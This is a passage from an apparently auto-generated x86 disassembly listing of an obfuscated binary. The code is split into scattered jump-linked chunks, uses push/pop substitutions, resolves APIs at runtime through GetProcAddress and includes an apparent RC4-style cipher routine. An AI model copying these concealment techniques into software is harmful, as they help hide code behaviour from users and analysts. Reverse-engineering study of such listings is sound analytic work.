var_204C	= dword	ptr -204Ch
var_2048	= dword	ptr -2048h
var_2044	= dword	ptr -2044h
var_203D	= byte ptr -203Dh
var_203C	= byte ptr -203Ch
var_202C	= dword	ptr -202Ch
var_2028	= dword	ptr -2028h
var_2024	= byte ptr -2024h
var_2022	= word ptr -2022h
var_2020	= dword	ptr -2020h
var_201C	= byte ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 009AB02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AB16C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ABA28 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC608 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ACC3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009ACED0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD1DC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AD3DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD9F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009ADEE0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AE0D3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AE2AC SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE83C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AEB8C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AF0F8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AF430 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF480 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF76C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF808 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF870 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AFC90 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0068 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B01F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0D78 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B13E4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B198C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B2690 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 009B28CC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B3374 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B36C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B3D6C SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B4ACC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B52A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B52B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5D7C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009B6488 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAC2D
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		push	205Ch
		pop	eax
		sub	esp, 8
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_204C],	edx
		push	[ebp+arg_4]
		pop	esi
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2060],	eax
		mov	[ebp+var_2048],	ecx
		push	[ebp+arg_14]
		pop	eax
		mov	[ebp+var_2044],	eax
		mov	[ebp+var_4], 0
		mov	dword ptr [eax], 0
		mov	eax, [ebp+arg_10]
		push	eax
		push	edi
		push	esi
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_203C]
		call	sub_9B43F4
		and	eax, eax
		jz	loc_9AF480
		jmp	loc_9B198C
sub_9B3864	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B38FC:				; CODE XREF: sub_9B0930+4E4Bj
		push	off_9BA698
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+0Ch]
		mov	[ecx+14h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		mov	ecx, [eax+14h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAB98
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3930:				; CODE XREF: sub_9B1D80+169j
		movzx	edx, word ptr [edi+2]
		jmp	loc_9AEA72
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B393C:				; CODE XREF: sub_9AC250+92E0j
					; DATA XREF: .text:off_9BB029o
		cmp	edi, ebx
		jz	loc_9B536C
		jmp	off_9B8908
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B394C:				; CODE XREF: sub_9B03E8+27F7j
		mov	al, [ebp-0ACh]
		mov	byte ptr dword_9BF380+2, al
		mov	cl, [ebp-0A8h]
		mov	byte ptr dword_9BF380+3, cl
		mov	dx, [ebp-0A4h]
		mov	word ptr dword_9BF384, dx
		cmp	dword ptr [ebp-0A0h], 2
		jnz	loc_9B56A0
		jmp	off_9B9775
; END OF FUNCTION CHUNK	FOR sub_9B03E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3984	proc near		; DATA XREF: .text:off_9B9099o

var_4058	= dword	ptr -4058h
var_4054	= dword	ptr -4054h
var_4050	= dword	ptr -4050h
var_404C	= dword	ptr -404Ch
var_4048	= dword	ptr -4048h
var_4044	= byte ptr -4044h
var_4034	= byte ptr -4034h
var_4024	= byte ptr -4024h
var_4022	= byte ptr -4022h
var_2020	= word ptr -2020h
var_201E	= byte ptr -201Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB89C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009ABDA0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009ABE1C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD8BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ADA80 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009AE544 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009AFB83 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B102C SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAF12
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4040h
		pop	eax
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4058],	eax
		push	dword ptr [eax+0Ch]
		pop	ebx
		mov	[ebp+var_4], 0
		lea	edi, [ebp+var_4044]
		lea	eax, [ebp+var_4034]
		push	ebx
		pop	esi
		call	sub_9AC128
		sub	esi, esi


loc_9B39EA:				; CODE XREF: sub_9B3984-2957j
		mov	[ebp+var_4048],	esi
		cmp	esi, 7D0h
		jge	loc_9AB89C
		jmp	loc_9AD8BC
sub_9B3984	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3A04:				; CODE XREF: sub_9B4950-6DA6j
					; DATA XREF: .text:off_9B9CF7o
		cmp	dword_9BEC20[eax], ebx
		jnz	loc_9B3BE0
		jmp	loc_9B20B4
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3A18:				; CODE XREF: sub_9B0930-385Ej
		push	off_9B90A1
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+38h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	dword ptr [eax+38h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AF818
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B3A50:				; CODE XREF: sub_9B4FD0-5E3Bj
					; DATA XREF: .text:off_9BA40Co
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		cmp	dword_9BBF74[eax], esi
		jz	loc_9AB8C4
		jmp	loc_9B3C54
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3A68:				; CODE XREF: sub_9AC6DC+378Aj
					; DATA XREF: .text:off_9B9F24o
		jb	loc_9B1568
		jmp	loc_9B24CC
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3A74	proc near		; CODE XREF: sub_9AFF64-2427p
					; sub_9AFF64-23ECp

; FUNCTION CHUNK AT 009AAE78 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 009AC804 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD33B SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009AED9C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B03C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B6244 SIZE 0000001D BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B94F8
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 120h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	edi, edx
		mov	esi, ecx
		push	dword ptr [ebp+8]
		pop	ebx
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	[ebp-12Ch], eax
		xor	eax, eax
		mov	[ebp-124h], eax
		mov	[ebp-128h], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 0
		push	esi
		pop	ecx
		call	sub_9B3D1C
		mov	esi, eax
		mov	[ebp-130h], esi
		test	esi, esi
		jz	loc_9B624E
		jmp	off_9BAC90
sub_9B3A74	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4


loc_9B3B08:				; CODE XREF: .text:009B2ACEj
					; DATA XREF: .text:off_9BACBAo
		push	1
		pop	eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B3B10:				; CODE XREF: sub_9B43F4-6EA3j
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9ACEAF
; END OF FUNCTION CHUNK	FOR sub_9B43F4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3B1C	proc near		; CODE XREF: sub_9B1584-276Fp

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC0C4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B13C0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B1D3F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B49FC SIZE 00000051 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8E0C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	dword_9BEBD8, eax
		push	1
		mov	edx, off_9B989B
		push	18h
		pop	ecx
		call	sub_9B4480
		or	eax, eax
		jnz	loc_9B13C0
		jmp	loc_9B49FC
sub_9B3B1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B3B78:				; CODE XREF: sub_9AF25C+6DD4j
					; DATA XREF: .text:off_9B89D3o
		xor	ebx, ebx
		cmp	[ebp+0Ch], ebx
		jz	loc_9AB9D0
		jmp	off_9B9F66
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3B8C:				; CODE XREF: sub_9AC6DC+4Dj
					; DATA XREF: .text:off_9B974Fo
		cmp	esi, ebx
		jz	loc_9AC3D0
		jmp	off_9B9E76
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B3B9C:				; CODE XREF: sub_9AFB1C+1DC6j
		mov	cl, [edi+eax]
		mov	[esi+18h], cl
		inc	eax
		mov	[ebp-1Ch], eax
		mov	dx, [edi+eax]
		mov	[esi+1Ah], dx
		add	eax, 2
		mov	[ebp-1Ch], eax
		lea	ecx, [edi+eax]
		mov	[esi+1Ch], ecx
		movzx	edx, dx
		add	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_9B02CB
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3BC8:				; CODE XREF: sub_9B4950-2890j
		mov	dword_9BEC1C[eax], ebx
		mov	dword_9BEC2C[eax], ebx
		mov	dword_9BEC30[eax], ebx
		mov	dword_9BEC28[eax], ebx


loc_9B3BE0:				; CODE XREF: sub_9B4950-6DACj
					; sub_9B4950-2896j ...
		inc	ecx
		jmp	loc_9B2958
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3BE8	proc near		; CODE XREF: sub_9ABE84+49p
					; sub_9B4FD0-1EE4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AAF7C SIZE 00000020 BYTES

		push	esi
		push	3
		call	sub_9B4CF4
		add	esp, 8
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9B3BF8:				; CODE XREF: sub_9B3BE8+15j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B3BF8
		jmp	off_9B9E72
sub_9B3BE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9B3C08:				; CODE XREF: sub_9AB3B0+491j
		push	edx
		pop	ecx
		push	eax
		pop	esi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_9B3C1B:				; CODE XREF: sub_9AB3B0+8871j
		mov	al, [edi+1]
		inc	edi
		or	al, al
		jnz	short loc_9B3C1B
		jmp	off_9B997C
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3C2C:				; CODE XREF: sub_9B1D80-189Ej
		push	dword ptr [ebp-2028h]
		pop	ebx
		mov	[ebp-2060h], ebx
		mov	esi, [ebp+14h]
		call	sub_9B45AC
		sub	edx, edx
		cmp	esi, 6
		jnz	loc_9AC764
		jmp	loc_9AB684
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B3C54:				; CODE XREF: sub_9B4FD0-156Ej
		push	dword ptr [ebp+0Ch]
		pop	edx
		cmp	dword_9BBF78[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AFED8
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3C6C	proc near		; CODE XREF: sub_9B2118-1B4Ep
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	edi
		push	off_9BA623
		call	dword ptr [ecx+68h]
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9BADC8
		call	dword ptr [eax+68h]
		push	300h
		pop	ecx
		mov	edi, off_9B87C3
		sub	eax, eax
		rep stosd
		mov	dword_9BBE3C, eax
		mov	dword_9BBD2C, eax
		mov	dword_9BBD30, eax
		pop	edi
		retn
sub_9B3C6C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B14CC


loc_9B3CB0:				; CODE XREF: sub_9B14CC+44j
					; DATA XREF: .text:off_9B8E79o
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+68h]
		call	sub_9AEBB8
		xor	eax, 8E4DA1E7h
		mov	dword_9BBD28, eax
		call	sub_9B5FC0
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9B4783
; END OF FUNCTION CHUNK	FOR sub_9B14CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3CE4:				; CODE XREF: sub_9B1D80+7Dj
		xor	ecx, ecx
		mov	eax, ebx
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx


loc_9B3CF3:				; CODE XREF: sub_9B1D80+77j
		push	dword ptr [ebp+18h]
		pop	ecx
		push	ecx
		mov	eax, [ebp+14h]
		push	eax
		push	edi
		push	0
		push	dword ptr [ebp+8]
		pop	ecx
		push	ecx
		lea	ecx, [ebp-203Ch]
		call	sub_9B43F4
		and	eax, eax
		jz	loc_9B3ECB
		jmp	loc_9B52D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================



sub_9B3D1C	proc near		; CODE XREF: sub_9B3A74+70p
					; sub_9AF25C+4CF6p

; FUNCTION CHUNK AT 009B1450 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B17E4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B4C94 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9095
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	ebx, ecx
		xor	esi, esi
		mov	[ebp-1Ch], esi
		mov	[ebp-4], esi
		push	dword ptr [ebx]
		pop	ecx
		call	sub_9B2160
		mov	[ebp-1Ch], eax
		cmp	eax, esi
		jz	loc_9B1464
		jmp	off_9BA443
sub_9B3D1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B3D6C:				; CODE XREF: sub_9B3864-3FECj
		push	0
		push	0
		push	0
		push	0
		push	0
		push	ebx


loc_9B3D77:				; CODE XREF: sub_9B3864-596Cj
		push	0


loc_9B3D79:				; CODE XREF: sub_9B3864-6982j
					; sub_9B3864-4CB4j ...
		push	dword ptr [esi+4]
		pop	esi
		push	edi
		call	sub_9AB040
		push	eax
		mov	edx, [ebp+var_2044]
		push	0
		push	[ebp+var_2048]
		pop	eax
		push	edx
		push	eax
		call	sub_9B2F1C
		add	esp, 30h
		jmp	loc_9AE0D3
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B3DA4:				; CODE XREF: sub_9AC32C+9AFAj
		pop	edi
		pop	esi
		pop	ebp
		push	2
		pop	eax
		pop	ebx
		add	esp, 314h
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B3DB4:				; CODE XREF: sub_9B43F4-3F1Ej
					; DATA XREF: .text:off_9BA080o
		sub	eax, eax
		mov	ax, [esi+8]
		mov	[ebp-24h], eax
		push	eax
		pop	ecx
		and	ecx, 1
		cmp	[ebp+0Ch], ecx
		jnz	loc_9ACEAF
		jmp	off_9B91D0
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B3DD8:				; CODE XREF: sub_9B4480-2F1Ej
		cmp	[ebp+var_32C], ebx
		jnz	loc_9AE273
		jmp	loc_9AE268
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B3DF0:				; CODE XREF: sub_9AFF64-23D9j
		cmp	eax, edi
		jnz	loc_9ACBD4
		jmp	off_9BAEA5
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E00:				; CODE XREF: sub_9B0930+4Cj
					; DATA XREF: .text:off_9B9429o
		push	off_9B8EA0
		push	eax
		push	GetProcAddress
		pop	esi
		call	esi
		push	eax
		pop	edi
		mov	[ebp-24h], edi
		test	edi, edi
		jz	loc_9B23EF
		jmp	loc_9AE584
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3E24	proc near		; CODE XREF: sub_9AF25C+4D14j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, [edi]
		sub	ecx, 240h
		push	dword ptr [edi+48h]
		pop	eax
		add	eax, 40h
		push	eax
		push	1
		call	sub_9AFC28
		jmp	loc_9AB9C8
sub_9B3E24	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E44:				; CODE XREF: sub_9B0930-3FA1j
					; DATA XREF: .text:off_9BA378o
		push	off_9B9848
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+30h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		mov	ecx, [eax+30h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AD0A4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3E78	proc near		; CODE XREF: sub_9B4CF4-4E22j
					; DATA XREF: .text:off_9BAA4Do

; FUNCTION CHUNK AT 009B0DF4 SIZE 0000000C BYTES

		push	ebx
		pop	eax
		lea	edx, [eax+1]


loc_9B3E7D:				; CODE XREF: sub_9B3E78+Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B3E7D
		jmp	loc_9B0DF4
sub_9B3E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3E90:				; CODE XREF: sub_9B0930-27B2j
					; DATA XREF: .text:off_9B8C60o
		push	off_9B99B9
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+4Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+4Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ADEAC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3EC4:				; CODE XREF: sub_9B1D80-55E5j
					; sub_9B1D80-32E0j ...
		push	dword ptr [ebp-2040h]
		pop	ebx


loc_9B3ECB:				; CODE XREF: sub_9B1D80-6D9Cj
					; sub_9B1D80-2BACj ...
		mov	edx, [ebp-2048h]
		mov	dword ptr [edx], 0
		test	ebx, ebx
		jz	loc_9B1D5B
		jmp	off_9BACA8
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B3EE8:				; CODE XREF: sub_9B5904-333Cj
		mov	esi, ecx
		mov	[ebp-20h], esi


loc_9B3EED:				; CODE XREF: sub_9B5904-110Ej
		cmp	esi, 0FFFFFFFFh
		jnz	loc_9B42F0
		jmp	off_9BA6DB
; END OF FUNCTION CHUNK	FOR sub_9B5904

; =============== S U B	R O U T	I N E =======================================



sub_9B3EFC	proc near		; CODE XREF: sub_9AB1A0-377p
					; sub_9AB7C0+54p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AB300 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD6D0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AD6E0 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 009ADBB0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADF50 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE328 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AEA5C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B02E4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B2340 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B374C SIZE 00000006 BYTES

		mov	eax, [esp+arg_0]
		push	eax
		pop	ecx
		mov	edx, 1
		and	ecx, 1Fh
		shl	edx, cl
		push	eax
		pop	ecx
		shr	ecx, 5
		and	ecx, 7
		test	dword_9B9604[ecx*4], edx
		jnz	loc_9AD6E0
		jmp	off_9B974B
sub_9B3EFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3F28	proc near		; CODE XREF: sub_9B037C-366Cp
					; sub_9B04A8-3272p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AAE40 SIZE 00000034 BYTES

		push	eax
		push	esi
		mov	eax, 10h
		call	sub_9AC32C
		test	al, 3
		jnz	nullsub_9
		jmp	loc_9AAE40
sub_9B3F28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B3F44:				; CODE XREF: sub_9AC6DC+9ACAj
					; DATA XREF: .text:off_9B9461o
		ja	loc_9B003C
		jmp	loc_9B1E04
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B3F50:				; CODE XREF: sub_9AF25C+4EE2j
		mov	ecx, esi
		call	sub_9B3D1C
		mov	edi, eax
		mov	[ebp-28h], edi


loc_9B3F5C:				; CODE XREF: sub_9AF25C-3DDFj
		mov	ecx, edi
		mov	edx, 0Ch
		call	sub_9AEE5C
		test	al, 2
		jz	loc_9B2618
		jmp	sub_9B3E24
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B3F78:				; CODE XREF: sub_9AF030-759j
					; DATA XREF: .text:off_9BA84Co
		push	1
		push	edi
		call	sub_9AF25C


loc_9B3F80:				; CODE XREF: sub_9AF030-75Fj
		push	[ebp+var_20]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B3F98:				; CODE XREF: sub_9B174C-3FDj
					; DATA XREF: .text:off_9BA869o
		mov	ecx, [ebp+arg_8]
		lea	edx, [ecx+edi]
		cmp	edx, eax
		ja	loc_9B54E8
		jmp	off_9B987A
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		mov	cl, [eax]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		lea	ecx, [eax+ecx+2]
		push	ebx
		mov	bl, [eax+1]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		movzx	edx, dl
		mov	bl, [ecx]
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	bl, [eax+ecx+2]
		mov	dl, [eax+edx+2]
		add	dl, bl
